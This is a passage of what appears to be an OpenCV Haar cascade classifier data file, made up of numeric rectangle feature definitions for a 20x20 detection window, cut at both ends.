8 5 -1. + <_> + 7 11 4 5 2. + <_> + + <_> + 10 8 8 9 -1. + <_> + 10 11 8 3 3. + <_> + + <_> + 0 13 6 2 -1. + <_> + 2 13 2 2 3. + <_> + + <_> + 18 14 2 1 -1. + <_> + 18 14 1 1 2. + 1 + <_> + + <_> + 1 2 2 4 -1. + <_> + 2 2 1 4 2. + <_> + + <_> + 5 5 8 5 -1. + <_> + 9 5 4 5 2. + <_> + + <_> + 7 13 5 4 -1. + <_> + 7 15 5 2 2. + <_> + + <_> + 17 18 3 2 -1. + <_> + 17 19 3 1 2. + <_> + + <_> + 0 2 1 2 -1. + <_> + 0 3 1 1 2. + <_> + + <_> + 3 0 1 3 -1. + <_> + 2 1 1 1 3. + 1 + <_> + + <_> + 10 11 3 4 -1. + <_> + 11 11 1 4 3. + <_> + + <_> + 14 11 4 8 -1. + <_> + 16 11 2 8 2. + <_> + + <_> + 2 2 9 6 -1. + <_> + 2 5 9 3 2. + <_> + + <_> + 0 4 17 8 -1. + <_> + 0 6 17 4 2. + <_> + + <_> + 15 17 5 3 -1. + <_> + 15 18 5 1 3. + <_> + + <_> + 2 11 2 8 -1. + <_> + 2 15 2 4 2. + <_> + + <_> + 3 12 3 3 -1. + <_> + 4 12 1 3 3. + <_> + + <_> + 3 12 9 7 -1. + <_> + 6 12 3 7 3. + <_> + + <_> + 13 1 4 7 -1. + <_> + 14 1 2 7 2. + <_> + + <_> + 3 16 2 2 -1. + <_> + 3 16 1 2 2. + 1 + <_> + + <_> + 3 17 2 1 -1. + <_> + 3 17 1 1 2. + 1 + <_> + + <_> + 4 9 6 6 -1. + <_> + 4 9 3 3 2. + <_> + 7 12 3 3 2. + <_> + + <_> + 11 13 3 1 -1. + <_> + 12 13 1 1 3. + <_> + + <_> + 0 0 20 3 -1. + <_> + 5 0 10 3 2. + <_> + + <_> + 0 0 1 2 -1. + <_> + 0 1 1 1 2. + <_> + + <_> + 17 0 3 1 -1. + <_> + 18 1 1 1 3. + 1 + <_> + + <_> + 4 0 8 9 -1. + <_> + 4 3 8 3 3. + <_> + + <_> + 6 0 6 4 -1. + <_> + 6 2 6 2 2. + <_> + + <_> + 18 0 2 1 -1. + <_> + 18 0 1 1 2. + 1 + <_> + + <_> + 14 2 6 1 -1. + <_> + 17 2 3 1 2. + <_> + + <_> + 5 13 8 2 -1. + <_> + 7 13 4 2 2. + <_> + + <_> + 15 12 3 8 -1. + <_> + 15 16 3 4 2. + <_> + + <_> + 5 10 8 3 -1. + <_> + 5 11 8 1 3. + <_> + + <_> + 5 0 11 9 -1. + <_> + 5 3 11 3 3. + <_> + + <_> + 18 14 2 2 -1. + <_> + 19 14 1 2 2. + <_> + + <_> + 1 3 9 8 -1. + <_> + 4 3 3 8 3. + <_> + + <_> + 3 6 2 3 -1. + <_> + 2 7 2 1 3. + 1 + <_> + + <_> + 3 6 2 3 -1. + <_> + 2 7 2 1 3. + 1 + <_> + + <_> + 17 7 1 12 -1. + <_> + 13 11 1 4 3. + 1 + <_> + + <_> + 0 0 1 15 -1. + <_> + 0 5 1 5 3. + <_> + + <_> + 6 9 6 3 -1. + <_> + 6 10 6 1 3. + <_> + + <_> + 3 18 3 2 -1. + <_> + 3 19 3 1 2. + <_> + + <_> + 16 17 4 3 -1. + <_> + 16 18 4 1 3. + <_> + + <_> + 10 17 4 3 -1. + <_> + 11 17 2 3 2. + <_> + + <_> + 13 13 4 3 -1. + <_> + 14 13 2 3 2. + <_> + + <_> + 4 15 3 2 -1. + <_> + 5 16 1 2 3. + 1 + <_> + + <_> + 0 4 2 2 -1. + <_> + 1 4 1 2 2. + <_> + + <_> + 4 0 2 5 -1. + <_> + 5 0 1 5 2. + <_> + + <_> + 1 9 3 8 -1. + <_> + 1 11 3 4 2. + <_> + + <_> + 5 8 1 3 -1. + <_> + 4 9 1 1 3. + 1 + <_> + + <_> + 4 13 2 1 -1. + <_> + 5 13 1 1 2. + <_> + + <_> + 9 11 4 9 -1. + <_> + 11 11 2 9 2. + <_> + + <_> + 0 1 1 2 -1. + <_> + 0 2 1 1 2. + <_> + + <_> + 0 0 1 3 -1. + <_> + 0 1 1 1 3. + <_> + + <_> + 12 11 1 4 -1. + <_> + 12 12 1 2 2. + <_> + + <_> + 16 10 3 3 -1. + <_> + 15 11 3 1 3. + 1 + <_> + + <_> + 18 12 1 6 -1. + <_> + 18 12 1 3 2. + 1 + <_> + + <_> + 4 17 3 2 -1. + <_> + 5 17 1 2 3. + <_> + + <_> + 17 7 3 2 -1. + <_> + 18 8 1 2 3. + 1 + <_> + + <_> + 18 9 2 1 -1. + <_> + 18 9 1 1 2. + 1 + <_> + + <_> + 8 11 4 5 -1. + <_> + 9 12 2 5 2. + 1 + <_> + + <_> + 7 1 2 7 -1. + <_> + 8 1 1 7 2. + <_> + + <_> + 4 4 14 6 -1. + <_> + 4 6 14 2 3. + <_> + + <_> + 2 2 11 6 -1. + <_> + 2 5 11 3 2. + <_> + + <_> + 18 16 2 2 -1. + <_> + 18 17 2 1 2. + <_> + + <_> + 17 11 2 6 -1. + <_> + 18 11 1 6 2. + <_> + + <_> + 17 0 3 3 -1. + <_> + 18 1 1 3 3. + 1 + <_> + + <_> + 18 0 2 6 -1. + <_> + 18 3 2 3 2. + <_> + + <_> + 4 7 6 8 -1. + <_> + 4 7 3 4 2. + <_> + 7 11 3 4 2. + <_> + + <_> + 11 11 4 2 -1. + <_> + 11 11 2 2 2. + 1 + <_> + + <_> + 0 0 6 7 -1. + <_> + 3 0 3 7 2. + <_> + + <_> + 15 10 5 8 -1. + <_> + 15 12 5 4 2. + <_> + + <_> + 2 10 3 8 -1. + <_> + 3 10 1 8 3. + <_> + + <_> + 9 7 6 6 -1. + <_> + 7 9 6 2 3. + 1 + <_> + + <_> + 4 1 6 6 -1. + <_> + 4 4 6 3 2. + <_> + + <_> + 4 0 16 2 -1. + <_> + 4 1 16 1 2. + <_> + + <_> + 14 8 6 6 -1. + <_> + 14 8 3 3 2. + <_> + 17 11 3 3 2. + <_> + + <_> + 4 12 2 8 -1. + <_> + 4 12 1 4 2. + <_> + 5 16 1 4 2. + <_> + + <_> + 0 18 7 2 -1. + <_> + 0 19 7 1 2. + <_> + + <_> + 9 13 1 4 -1. + <_> + 9 15 1 2 2. + <_> + + <_> + 18 10 2 8 -1. + <_> + 19 10 1 8 2. + <_> + + <_> + 6 0 4 8 -1. + <_> + 7 0 2 8 2. + <_> + + <_> + 1 2 6 6 -1. + <_> + 3 2 2 6 3. + <_> + + <_> + 10 10 8 2 -1. + <_> + 10 10 4 1 2. + <_> + 14 11 4 1 2. + <_> + + <_> + 3 9 2 3 -1. + <_> + 2 10 2 1 3. + 1 + <_> + + <_> + 5 1 13 6 -1. + <_> + 5 3 13 2 3. + <_> + + <_> + 4 4 13 6 -1. + <_> + 4 6 13 2 3. + <_> + + <_> + 8 1 4 5 -1. + <_> + 8 1 2 5 2. + 1 + <_> + + <_> + 7 7 2 1 -1. + <_> + 8 7 1 1 2. + <_> + + <_> + 5 5 4 4 -1. + <_> + 6 5 2 4 2. + <_> + + <_> + 14 12 4 2 -1. + <_> + 14 12 2 1 2. + <_> + 16 13 2 1 2. + <_> + + <_> + 13 11 4 2 -1. + <_> + 13 11 2 1 2. + <_> + 15 12 2 1 2. + <_> + + <_> + 16 10 4 3 -1. + <_> + 16 11 4 1 3. + <_> + + <_> + 10 0 4 5 -1. + <_> + 11 0 2 5 2. + <_> + + <_> + 8 11 1 3 -1. + <_> + 7 12 1 1 3. + 1 + <_> + + <_> + 6 12 3 2 -1. + <_> + 7 12 1 2 3. + <_> + + <_> + 17 8 2 3 -1. + <_> + 17 8 1 3 2. + 1 + <_> + + <_> + 11 0 6 5 -1. + <_> + 13 0 2 5 3. + <_> + + <_> + 0 0 3 3 -1. + <_> + 0 1 3 1 3. + <_> + + <_> + 2 0 1 2 -1. + <_> + 2 1 1 1 2. + <_> + + <_> + 13 11 7 2 -1. + <_> + 13 12 7 1 2. + <_> + + <_> + 17 8 3 3 -1. + <_> + 18 9 1 3 3. + 1 + <_> + + <_> + 15 15 1 3 -1. + <_> + 14 16 1 1 3. + 1 + <_> + + <_> + 6 13 6 2 -1. + <_> + 8 13 2 2 3. + <_> + + <_> + 8 10 3 4 -1. + <_> + 9 10 1 4 3. + <_> + + <_> + 7 0 12 19 -1. + <_> + 13 0 6 19 2. + <_> + + <_> + 12 16 8 4 -1. + <_> + 12 18 8 2 2. + <_> + + <_> + 8 5 12 2 -1. + <_> + 14 5 6 2 2. + <_> + + <_> + 10 8 6 4 -1. + <_> + 12 10 2 4 3. + 1 + <_> + + <_> + 4 11 3 4 -1. + <_> + 4 13 3 2 2. + <_> + + <_> + 0 2 12 7 -1. + <_> + 3 2 6 7 2. + <_> + + <_> + 8 0 4 2 -1. + <_> + 8 0 2 2 2. + 1 + <_> + + <_> + 13 11 6 6 -1. + <_> + 15 13 2 2 9. + <_> + + <_> + 7 11 10 4 -1. + <_> + 12 11 5 4 2. + <_> + + <_> + 1 11 4 5 -1. + <_> + 2 11 2 5 2. + <_> + + <_> + 2 14 4 2 -1. + <_> + 3 15 2 2 2. + 1 + <_> + + <_> + 0 0 1 6 -1. + <_> + 0 3 1 3 2. + <_> + + <_> + 6 2 6 6 -1. + <_> + 6 5 6 3 2. + <_> + + <_> + 6 18 4 2 -1. + <_> + 7 18 2 2 2. + <_> + + <_> + 6 18 4 2 -1. + <_> + 7 18 2 2 2. + <_> + + <_> + 4 4 7 4 -1. + <_> + 3 5 7 2 2. + 1 + <_> + + <_> + 5 8 8 12 -1. + <_> + 7 8 4 12 2. + <_> + + <_> + 5 17 2 1 -1. + <_> + 5 17 1 1 2. + 1 + <_> + + <_> + 4 18 2 1 -1. + <_> + 5 18 1 1 2. + <_> + + <_> + 13 16 7 2 -1. + <_> + 13 17 7 1 2. + <_> + + <_> + 7 15 2 3 -1. + <_> + 7 15 1 3 2. + 1 + <_> + + <_> + 9 2 4 5 -1. + <_> + 10 2 2 5 2. + <_> + + <_> + 7 2 4 6 -1. + <_> + 8 2 2 6 2. + <_> + + <_> + 3 12 3 3 -1. + <_> + 4 12 1 3 3. + <_> + + <_> + 5 12 3 3 -1. + <_> + 6 13 1 1 9. + <_> + + <_> + 4 12 3 2 -1. + <_> + 5 12 1 2 3. + <_> + + <_> + 10 13 3 1 -1. + <_> + 11 13 1 1 3. + <_> + + <_> + 11 5 4 3 -1. + <_> + 12 5 2 3 2. + <_> + + <_> + 19 7 1 10 -1. + <_> + 19 12 1 5 2. + <_> + + <_> + 4 8 2 3 -1. + <_> + 3 9 2 1 3. + 1 + <_> + + <_> + 7 0 6 5 -1. + <_> + 9 0 2 5 3. + <_> + + <_> + 5 0 6 2 -1. + <_> + 5 0 3 2 2. + 1 + <_> + + <_> + 5 0 13 9 -1. + <_> + 5 3 13 3 3. + <_> + + <_> + 0 6 1 2 -1. + <_> + 0 7 1 1 2. + <_> + + <_> + 1 0 16 6 -1. + <_> + 1 2 16 2 3. + <_> + + <_> + 18 0 2 4 -1. + <_> + 18 0 1 4 2. + 1 + <_> + + <_> + 4 13 2 2 -1. + <_> + 4 13 1 1 2. + <_> + 5 14 1 1 2. + <_> + + <_> + 0 3 4 1 -1. + <_> + 2 3 2 1 2. + <_> + + <_> + 3 0 8 12 -1. + <_> + 3 6 8 6 2. + <_> + + <_> + 12 13 4 1 -1. + <_> + 13 13 2 1 2. + <_> + + <_> + 12 12 2 2 -1. + <_> + 12 12 1 1 2. + <_> + 13 13 1 1 2. + <_> + + <_> + 5 16 3 1 -1. + <_> + 6 17 1 1 3. + 1 + <_> + + <_> + 3 13 8 4 -1. + <_> + 3 13 4 2 2. + <_> + 7 15 4 2 2. + <_> + + <_> + 0 8 18 3 -1. + <_> + 6 9 6 1 9. + <_> + + <_> + 8 4 6 5 -1. + <_> + 11 4 3 5 2. + <_> + + <_> + 5 14 9 1 -1. + <_> + 8 14 3 1 3. + <_> + + <_> + 4 0 4 4 -1. + <_> + 4 0 2 4 2. + 1 + <_> + + <_> + 7 9 12 8 -1. + <_> + 7 11 12 4 2. + <_> + + <_> + 18 15 2 1 -1. + <_> + 18 15 1 1 2. + 1 + <_> + + <_> + 3 13 2 4 -1. + <_> + 3 13 1 2 2. + <_> + 4 15 1 2 2. + <_> + + <_> + 4 7 3 3 -1. + <_> + 3 8 3 1 3. + 1 + <_> + + <_> + 0 1 2 7 -1. + <_> + 1 1 1 7 2. + <_> + + <_> + 4 0 3 9 -1. + <_> + 5 0 1 9 3. + <_> + + <_> + 15 10 3 3 -1. + <_> + 14 11 3 1 3. + 1 + <_> + + <_> + 12 11 2 2 -1. + <_> + 12 11 1 1 2. + <_> + 13 12 1 1 2. + <_> + + <_> + 0 0 1 4 -1. + <_> + 0 2 1 2 2. + <_> + + <_> + 12 18 8 2 -1. + <_> + 12 19 8 1 2. + <_> + + <_> + 17 9 2 2 -1. + <_> + 17 9 1 2 2. + 1 + <_> + + <_> + 16 10 4 2 -1. + <_> + 17 11 2 2 2. + 1 + <_> + + <_> + 7 13 10 1 -1. + <_> + 12 13 5 1 2. + <_> + + <_> + 7 7 4 3 -1. + <_> + 9 7 2 3 2. + <_> + + <_> + 9 18 6 2 -1. + <_> + 11 18 2 2 3. + <_> + + <_> + 8 18 6 2 -1. + <_> + 10 18 2 2 3. + <_> + + <_> + 17 9 3 1 -1. + <_> + 18 10 1 1 3. + 1 + <_> + + <_> + 17 7 2 11 -1. + <_> + 18 7 1 11 2. + <_> + + <_> + 8 2 4 4 -1. + <_> + 8 2 2 4 2. + 1 + <_> + + <_> + 6 6 2 3 -1. + <_> + 7 6 1 3 2. + <_> + + <_> + 7 0 9 5 -1. + <_> + 10 3 3 5 3. + 1 + <_> + + <_> + 1 0 15 9 -1. + <_> + 6 3 5 3 9. + <_> + + <_> + 2 12 4 3 -1. + <_> + 3 12 2 3 2. + <_> + + <_> + 0 12 4 5 -1. + <_> + 1 12 2 5 2. + <_> + + <_> + 3 2 2 3 -1. + <_> + 2 3 2 1 3. + 1 + <_> + + <_> + 4 13 6 1 -1. + <_> + 4 13 3 1 2. + 1 + <_> + + <_> + 5 0 4 6 -1. + <_> + 6 0 2 6 2. + <_> + + <_> + 2 17 2 1 -1. + <_> + 2 17 1 1 2. + 1 + <_> + + <_> + 4 9 1 3 -1. + <_> + 3 10 1 1 3. + 1 + <_> + + <_> + 0 2 6 9 -1. + <_> + 2 2 2 9 3. + <_> + + <_> + 16 7 2 2 -1. + <_> + 16 7 1 2 2. + 1 + <_> + + <_> + 7 2 6 4 -1. + <_> + 9 2 2 4 3. + <_> + + <_> + 7 18 6 2 -1. + <_> + 9 18 2 2 3. + <_> + + <_> + 1 14 6 4 -1. + <_> + 3 14 2 4 3. + <_> + + <_> + 6 8 7 3 -1. + <_> + 5 9 7 1 3. + 1 + <_> + + <_> + 14 12 4 1 -1. + <_> + 15 13 2 1 2. + 1 + <_> + + <_> + 4 12 3 2 -1. + <_> + 5 12 1 2 3. + <_> + + <_> + 5 12 3 3 -1. + <_> + 6 12 1 3 3. + <_> + + <_> + 18 2 2 2 -1. + <_> + 19 2 1 2 2. + <_> + + <_> + 14 0 6 1 -1. + <_> + 17 0 3 1 2. + <_> + + <_> + 17 0 3 3 -1. + <_> + 18 1 1 3 3. + 1 + <_> + + <_> + 11 4 6 8 -1. + <_> + 13 4 2 8 3. + <_> + + <_> + 7 12 3 2 -1. + <_> + 8 12 1 2 3. + <_> + + <_> + 16 0 3 2 -1. + <_> + 16 1 3 1 2. + <_> + + <_> + 5 11 9 4 -1. + <_> + 8 11 3 4 3. + <_> + + <_> + 12 9 1 6 -1. + <_> + 12 11 1 2 3. + <_> + + <_> + 4 0 4 4 -1. + <_> + 4 0 2 4 2. + 1 + <_> + + <_> + 5 1 11 12 -1. + <_> + 5 5 11 4 3. + <_> + + <_> + 16 12 4 8 -1. + <_> + 18 12 2 8 2. + <_> + + <_> + 18 14 2 6 -1. + <_> + 18 17 2 3 2. + <_> + + <_> + 1 12 4 4 -1. + <_> + 2 12 2 4 2. + <_> + + <_> + 6 7 6 4 -1. + <_> + 5 8 6 2 2. + 1 + <_> + + <_> + 5 15 3 2 -1. + <_> + 6 16 1 2 3. + 1 + <_> + + <_> + 6 16 3 1 -1. + <_> + 7 17 1 1 3. + 1 + <_> + + <_> + 10 14 1 2 -1. + <_> + 10 14 1 1 2. + 1 + <_> + + <_> + 4 7 3 3 -1. + <_> + 3 8 3 1 3. + 1 + <_> + + <_> + 2 0 6 8 -1. + <_> + 4 0 2 8 3. + <_> + + <_> + 2 5 6 3 -1. + <_> + 4 5 2 3 3. + <_> + + <_> + 3 11 3 6 -1. + <_> + 4 11 1 6 3. + <_> + + <_> + 15 11 2 3 -1. + <_> + 14 12 2 1 3. + 1 + <_> + + <_> + 11 17 4 3 -1. + <_> + 12 17 2 3 2. + <_> + + <_> + 13 11 2 2 -1. + <_> + 13 11 1 1 2. + <_> + 14 12 1 1 2. + <_> + + <_> + 13 11 2 2 -1. + <_> + 13 11 1 1 2. + <_> + 14 12 1 1 2. + <_> + + <_> + 8 2 5 6 -1. + <_> + 8 5 5 3 2. + <_> + + <_> + 0 0 1 2 -1. + <_> + 0 1 1 1 2. + <_> + + <_> + 0 8 10 4 -1. + <_> + 0 10 10 2 2. + <_> + + <_> + 17 11 3 1 -1. + <_> + 18 12 1 1 3. + 1 + <_> + + <_> + 7 18 2 2 -1. + <_> + 8 18 1 2 2. + <_> + + <_> + 0 6 18 4 -1. + <_> + 9 6 9 4 2. + <_> + + <_> + 2 12 12 8 -1. + <_> + 6 12 4 8 3. + <_> + + <_> + 1 0 14 1 -1. + <_> + 8 0 7 1 2. + <_> + + <_> + 8 0 12 19 -1. + <_> + 14 0 6 19 2. + <_> + + <_> + 7 12 3 2 -1. + <_> + 8 12 1 2 3. + <_> + + <_> + 8 11 3 5 -1. + <_> + 9 11 1 5 3. + <_> + + <_> + 7 18 3 2 -1. + <_> + 8 18 1 2 3. + <_> + + <_> + 5 13 2 2 -1. + <_> + 5 13 1 1 2. + <_> + 6 14 1 1 2. + <_> + + <_> + 16 9 3 1 -1. + <_> + 17 10 1 1 3. + 1 + <_> + + <_> + 18 0 2 3 -1. + <_> + 18 0 1 3 2. + 1 + <_> + + <_> + 4 2 15 6 -1. + <_> + 4 4 15 2 3. + <_> + + <_> + 10 0 10 4 -1. + <_> + 10 0 5 2 2. + <_> + 15 2 5 2 2. + <_> + + <_> + 5 0 12 6 -1. + <_> + 5 2 12 2 3. + <_> + + <_> + 12 1 8 6 -1. + <_> + 12 1 4 3 2. + <_> + 16 4 4 3 2. + <_> + + <_> + 0 3 2 1 -1. + <_> + 1 3 1 1 2. + <_> + + <_> + 16 7 2 4 -1. + <_> + 16 7 1 4 2. + 1 + <_> + + <_> + 15 17 5 3 -1. + <_> + 15 18 5 1 3. + <_> + + <_> + 6 12 6 8 -1. + <_> + 8 12 2 8 3. + <_> + + <_> + 5 12 2 2 -1. + <_> + 6 12 1 2 2. + <_> + + <_> + 13 12 4 6 -1. + <_> + 14 12 2 6 2. + <_> + + <_> + 17 0 3 4 -1. + <_> + 18 1 1 4 3. + 1 + <_> + + <_> + 4 0 4 10 -1. + <_> + 5 0 2 10 2. + <_> + + <_> + 5 12 3 3 -1. + <_> + 6 12 1 3 3. + <_> + + <_> + 11 12 3 3 -1. + <_> + 12 12 1 3 3. + <_> + + <_> + 3 2 1 3 -1. + <_> + 2 3 1 1 3. + 1 + <_> + + <_> + 2 1 8 1 -1. + <_> + 4 1 4 1 2. + <_> + + <_> + 0 3 18 12 -1. + <_> + 6 7 6 4 9. + <_> + + <_> + 12 18 6 2 -1. + <_> + 15 18 3 2 2. + <_> + + <_> + 11 9 4 7 -1. + <_> + 12 10 2 7 2. + 1 + <_> + + <_> + 15 8 3 12 -1. + <_> + 16 12 1 4 9. + <_> + + <_> + 6 10 7 3 -1. + <_> + 6 11 7 1 3. + <_> + + <_> + 4 9 10 3 -1. + <_> + 4 10 10 1 3. + <_> + + <_> + 0 1 15 7 -1. + <_> + 5 1 5 7 3. + <_> + + <_> + 0 0 1 18 -1. + <_> + 0 6 1 6 3. + <_> + + <_> + 9 13 2 4 -1. + <_> + 8 14 2 2 2. + 1 + <_> + + <_> + 16 16 4 4 -1. + <_> + 16 18 4 2 2. + <_> + + <_> + 1 10 4 8 -1. + <_> + 2 10 2 8 2. + <_> + + <_> + 2 15 3 2 -1. + <_> + 3 16 1 2 3. + 1 + <_> + + <_> + 2 17 2 1 -1. + <_> + 2 17 1 1 2. + 1 + <_> + + <_> + 18 10 2 8 -1. + <_> + 18 10 2 4 2. + 1 + <_> + + <_> + 0 11 18 3 -1. + <_> + 6 12 6 1 9. + <_> + + <_> + 15 10 4 2 -1. + <_> + 16 11 2 2 2. + 1 + <_> + + <_> + 9 1 5 4 -1. + <_> + 9 3 5 2 2. + <_> + + <_> + 6 1 7 6 -1. + <_> + 6 4 7 3 2. + <_> + + <_> + 3 3 8 6 -1. + <_> + 3 6 8 3 2. + <_> + + <_> + 16 1 4 2 -1. + <_> + 18 1 2 2 2. + <_> + + <_> + 18 12 2 3 -1. + <_> + 18 13 2 1 3. + <_> + + <_> + 17 6 2 8 -1. + <_> + 17 6 1 4 2. + <_> + 18 10 1 4 2. + <_> + + <_> + 17 5 3 4 -1. + <_> + 18 6 1 4 3. + 1 + <_> + + <_> + 0 9 4 8 -1. + <_> + 0 11 4 4 2. + <_> + + <_> + 0 6 3 8 -1. + <_> + 0 10 3 4 2. + <_> + + <_> + 14 11 2 2 -1. + <_> + 14 11 1 1 2. + <_> + 15 12 1 1 2. + <_> + + <_> + 15 11 3 3 -1. + <_> + 14 12 3 1 3. + 1 + <_> + + <_> + 14 12 5 2 -1. + <_> + 14 13 5 1 2. + <_> + + <_> + 19 12 1 2 -1. + <_> + 19 13 1 1 2. + <_> + + <_> + 6 0 4 7 -1. + <_> + 7 0 2 7 2. + <_> + + <_> + 12 12 3 2 -1. + <_> + 12 13 3 1 2. + <_> + + <_> + 12 13 4 2 -1. + <_> + 12 13 2 1 2. + <_> + 14 14 2 1 2. + <_> + + <_> + 16 18 4 2 -1. + <_> + 16 19 4 1 2. + <_> + + <_> + 14 18 1 2 -1. + <_> + 14 19 1 1 2. + <_> + + <_> + 16 0 3 2 -1. + <_> + 17 1 1 2 3. + 1 + <_> + + <_> + 16 0 4 2 -1. + <_> + 17 1 2 2 2. + 1 + <_> + + <_> + 12 13 2 2 -1. + <_> + 12 13 1 1 2. + <_> + 13 14 1 1 2. + <_> + + <_> + 7 10 4 2 -1. + <_> + 7 10 2 2 2. + 1 + <_> + + <_> + 3 3 1 3 -1. + <_> + 2 4 1 1 3. + 1 + <_> + + <_> + 3 4 2 3 -1. + <_> + 2 5 2 1 3. + 1 + <_> + + <_> + 3 0 16 6 -1. + <_> + 3 2 16 2 3. + <_> + + <_> + 12 2 2 5 -1. + <_> + 12 2 1 5 2. + 1 + <_> + + <_> + 4 0 1 3 -1. + <_> + 3 1 1 1 3. + 1 + <_> + + <_> + 13 12 2 2 -1. + <_> + 13 12 1 1 2. + <_> + 14 13 1 1 2. + <_> + + <_> + 5 17 4 3 -1. + <_> + 6 17 2 3 2. + <_> + + <_> + 17 13 3 3 -1. + <_> + 17 14 3 1 3. + <_> + + <_> + 0 12 2 8 -1. + <_> + 0 12 1 4 2. + <_> + 1 16 1 4 2. + <_> + + <_> + 4 16 1 3 -1. + <_> + 3 17 1 1 3. + 1 + <_> + + <_> + 0 2 1 2 -1. + <_> + 0 3 1 1 2. + <_> + + <_> + 10 2 4 7 -1. + <_> + 11 2 2 7 2. + <_> + + <_> + 2 1 6 9 -1. + <_> + 2 4 6 3 3. + <_> + + <_> + 1 4 2 2 -1. + <_> + 2 4 1 2 2. + <_> + + <_> + 13 12 2 2 -1. + <_> + 13 12 1 1 2. + <_> + 14 13 1 1 2. + <_> + + <_> + 18 0 2 1 -1. + <_> + 19 0 1 1 2. + <_> + + <_> + 4 13 3 1 -1. + <_> + 5 13 1 1 3. + <_> + + <_> + 6 13 4 1 -1. + <_> + 7 13 2 1 2. + <_> + + <_> + 6 10 6 3 -1. + <_> + 6 11 6 1 3. + <_> + + <_> + 7 9 4 3 -1. + <_> + 7 10 4 1 3. + <_> + + <_> + 6 0 4 3 -1. + <_> + 6 0 2 3 2. + 1 + <_> + + <_> + 15 15 5 2 -1. + <_> + 15 16 5 1 2. + <_> + + <_> + 0 8 18 12 -1. + <_> + 6 12 6 4 9. + <_> + + <_> + 1 6 14 4 -1. + <_> + 8 6 7 4 2. + <_> + + <_> + 3 11 6 3 -1. + <_> + 2 12 6 1 3. + 1 + <_> + + <_> + 5 9 1 3 -1. + <_> + 4 10 1 1 3. + 1 + <_> + + <_> + 17 10 3 3 -1. + <_> + 18 11 1 3 3. + 1 + <_> + + <_> + 17 11 1 4 -1. + <_> + 16 12 1 2 2. + 1 + <_> + + <_> + 1 0 12 9 -1. + <_> + 4 0 6 9 2. + <_> + + <_> + 9 3 4 5 -1. + <_> + 10 3 2 5 2. + <_> + + <_> + 7 8 6 3 -1. + <_> + 7 9 6 1 3. + <_> + + <_> + 7 1 9 6 -1. + <_> + 7 3 9 2 3. + <_> + + <_> + 0 1 2 2 -1. + <_> + 0 2 2 1 2. + <_> + + <_> + 13 8 3 5 -1. + <_> + 14 9 1 5 3. + 1 + <_> + + <_> + 3 16 3 1 -1. + <_> + 4 17 1 1 3. + 1 + <_> + + <_> + 11 1 4 7 -1. + <_> + 12 1 2 7 2. + <_> + + <_> + 11 13 2 2 -1. + <_> + 11 13 1 1 2. + <_> + 12 14 1 1 2. + <_> + + <_> + 12 14 3 1 -1. + <_> + 13 14 1 1 3. + <_> + + <_> + 17 2 3 1 -1. + <_> + 18 3 1 1 3. + 1 + <_> + + <_> + 14 2 6 6 -1. + <_> + 14 2 3 3 2. + <_> + 17 5 3 3 2. + <_> + + <_> + 12 16 8 4 -1. + <_> + 12 18 8 2 2. + <_> + + <_> + 7 11 3 3 -1. + <_> + 6 12 3 1 3. + 1 + <_> + + <_> + 6 3 8 6 -1. + <_> + 4 5 8 2 3. + 1 + <_> + + <_> + 1 8 3 8 -1. + <_> + 1 10 3 4 2. + <_> + + <_> + 7 0 8 6 -1. + <_> + 9 2 4 6 2. + 1 + <_> + + <_> + 5 2 7 6 -1. + <_> + 5 5 7 3 2. + <_> + + <_> + 10 13 3 1 -1. + <_> + 11 13 1 1 3. + <_> + + <_> + 12 12 4 2 -1. + <_> + 12 12 2 1 2. + <_> + 14 13 2 1 2. + <_> + + <_> + 6 1 14 19 -1. + <_> + 13 1 7 19 2. + <_> + + <_> + 6 9 14 1 -1. + <_> + 13 9 7 1 2. + <_> + + <_> + 18 0 2 1 -1. + <_> + 18 0 1 1 2. + 1 + <_> + + <_> + 15 0 3 1 -1. + <_> + 16 1 1 1 3. + 1 + <_> + + <_> + 5 7 2 3 -1. + <_> + 4 8 2 1 3. + 1 + <_> + + <_> + 15 12 3 3 -1. + <_> + 14 13 3 1 3. + 1 + <_> + + <_> + 10 17 4 2 -1. + <_> + 11 17 2 2 2. + <_> + + <_> + 8 12 3 3 -1. + <_> + 9 13 1 1 9. + <_> + + <_> + 4 1 7 6 -1. + <_> + 4 3 7 2 3. + <_> + + <_> + 11 0 6 6 -1. + <_> + 11 2 6 2 3. + <_> + + <_> + 0 1 1 4 -1. + <_> + 0 2 1 2 2. + <_> + + <_> + 7 5 4 4 -1. + <_> + 8 5 2 4 2. + <_> + + <_> + 1 0 1 3 -1. + <_> + 1 1 1 1 3. + <_> + + <_> + 9 3 4 2 -1. + <_> + 9 4 4 1 2. + <_> + + <_> + 18 13 2 5 -1. + <_> + 19 13 1 5 2. + <_> + + <_> + 2 11 3 6 -1. + <_> + 3 11 1 6 3. + <_> + + <_> + 0 5 2 12 -1. + <_> + 0 9 2 4 3. + <_> + + <_> + 11 10 8 5 -1. + <_> + 15 10 4 5 2. + <_> + + <_> + 15 11 4 2 -1. + <_> + 16 12 2 2 2. + 1 + <_> + + <_> + 15 8 4 2 -1. + <_> + 16 9 2 2 2. + 1 + <_> + + <_> + 5 13 2 1 -1. + <_> + 6 13 1 1 2. + <_> + + <_> + 12 13 2 2 -1. + <_> + 13 13 1 2 2. + <_> + + <_> + 11 12 8 8 -1. + <_> + 13 12 4 8 2. + <_> + + <_> + 3 0 6 10 -1. + <_> + 5 0 2 10 3. + <_> + + <_> + 6 14 2 2 -1. + <_> + 6 14 1 2 2. + 1 + <_> + + <_> + 0 5 19 4 -1. + <_> + 0 7 19 2 2. + <_> + + <_> + 17 4 3 2 -1. + <_> + 18 5 1 2 3. + 1 + <_> + + <_> + 17 3 3 4 -1. + <_> + 18 4 1 4 3. + 1 + <_> + + <_> + 5 13 8 2 -1. + <_> + 7 13 4 2 2. + <_> + + <_> + 0 0 2 8 -1. + <_> + 0 4 2 4 2. + <_> + + <_> + 0 9 15 6 -1. + <_> + 0 11 15 2 3. + <_> + + <_> + 18 14 2 1 -1. + <_> + 18 14 1 1 2. + 1 + <_> + + <_> + 0 0 4 8 -1. + <_> + 2 0 2 8 2. + <_> + + <_> + 0 13 6 2 -1. + <_> + 2 13 2 2 3. + <_> + + <_> + 3 18 3 2 -1. + <_> + 3 19 3 1 2. + <_> + + <_> + 2 11 15 6 -1. + <_> + 7 13 5 2 9. + <_> + + <_> + 7 14 3 3 -1. + <_> + 8 15 1 3 3. + 1 + <_> + + <_> + 7 8 2 2 -1. + <_> + 8 8 1 2 2. + <_> + + <_> + 6 9 6 3 -1. + <_> + 6 10 6 1 3. + <_> + + <_> + 5 8 7 3 -1. + <_> + 5 9 7 1 3. + <_> + + <_> + 17 9 3 1 -1. + <_> + 18 10 1 